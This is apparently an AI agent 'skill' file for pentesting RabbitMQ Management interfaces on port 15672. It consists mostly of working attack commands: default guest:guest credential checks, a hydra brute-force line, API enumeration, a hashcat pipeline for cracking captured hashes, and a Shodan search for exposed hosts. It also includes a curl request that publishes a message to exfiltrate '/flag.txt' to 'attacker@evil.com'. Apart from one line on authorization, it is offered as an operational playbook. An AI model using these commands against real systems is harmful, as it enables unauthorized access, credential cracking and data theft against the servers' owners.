| name | rabbitmq-pentest |
| description | Pentest RabbitMQ Management interfaces on port 15672. Use this skill whenever you need to assess RabbitMQ security, test default credentials, enumerate via the management API, publish messages to queues, or crack RabbitMQ authentication hashes. Trigger this for any RabbitMQ exposure, AMQP service testing, or when you see port 15672 open. |
RabbitMQ Management Pentesting
This skill helps you assess and exploit RabbitMQ Management interfaces (port 15672) when the management plugin is enabled.
Quick Start
nmap -p 15672 <target>
curl -u guest:guest http://<target>:15672/api/overview
Enumeration
1. Check Management Console
The RabbitMQ Management web console runs on port 15672. Access it at:
http://<target>:15672/
2. Test Default Credentials
Default credentials are often unchanged:
- Username:
guest
- Password:
guest
Test with:
curl -u guest:guest http://<target>:15672/api/overview
curl -u guest:guest http://<target>:15672/api/connections
3. Brute-Force Authentication
If defaults fail, try brute-forcing the login form:
hydra -L userlist.txt -P passlist.txt <target> http-post-form /login:username=^USER^&password=^PASS^:F=login
4. API Enumeration
Once authenticated, explore these endpoints:
curl -u <user>:<pass> http://<target>:15672/api/overview
curl -u <user>:<pass> http://<target>:15672/api/connections
curl -u <user>:<pass> http://<target>:15672/api/queues/%2F
curl -u <user>:<pass> http://<target>:15672/api/exchanges/%2F
curl -u <user>:<pass> http://<target>:15672/api/vhosts
Exploitation
Publish Messages to Queues
You can publish data to queues via the API. This can be used for:
- Testing message injection
- Sending malicious payloads
- Exfiltrating data through message attachments
POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
Host: <target>:15672
Authorization: Basic <base64-credentials>
Accept: */*
Content-Type: application/json;charset=UTF-8
{
"vhost": "/",
"name": "amq.default",
"properties": {
"delivery_mode": 1,
"headers": {}
},
"routing_key": "<queue-name>",
"payload": "<your-message>",
"payload_encoding": "string"
}
Example with file exfiltration attempt:
curl -X POST \
-u guest:guest \
-H "Content-Type: application/json" \
-d '{
"vhost":"/",
"name":"amq.default",
"properties":{"delivery_mode":1,"headers":{}},
"routing_key":"email",
"payload":"{\"to\":\"attacker@evil.com\", \"attachments\": [{\"path\": \"/flag.txt\"}]}",
"headers":{},
"props":{},
"payload_encoding":"string"
}' \
http://<target>:15672/api/exchanges/%2F/amq.default/publish
Hash Cracking
If you capture RabbitMQ authentication hashes, crack them:
echo <base64-rabbitmq-hash> | base64 -d | xxd -pr -c128 | perl -pe 's/^(.{8})(.*)/$2:$1/' > hash.txt
hashcat -m 1420 --hex-salt hash.txt /path/to/wordlist.txt
Post-Exploitation
Enable Management Plugin (if you have shell access)
rabbitmq-plugins enable rabbitmq_management
service rabbitmq-server restart
Reconnaissance via Shodan
Find exposed RabbitMQ instances:
shodan search "port:15672 http"
Common Vulnerabilities
- Default credentials - guest:guest is often unchanged
- Unauthenticated API access - some endpoints may not require auth
- Message injection - publishing arbitrary messages to queues
- Information disclosure - API reveals internal topology
- Weak authentication - susceptible to brute-force attacks
Testing Checklist
Notes
- RabbitMQ Management requires the
rabbitmq_management plugin to be enabled
- The management interface is typically bound to localhost by default - check if it's exposed externally
- Always have proper authorization before testing
- Document your findings for the client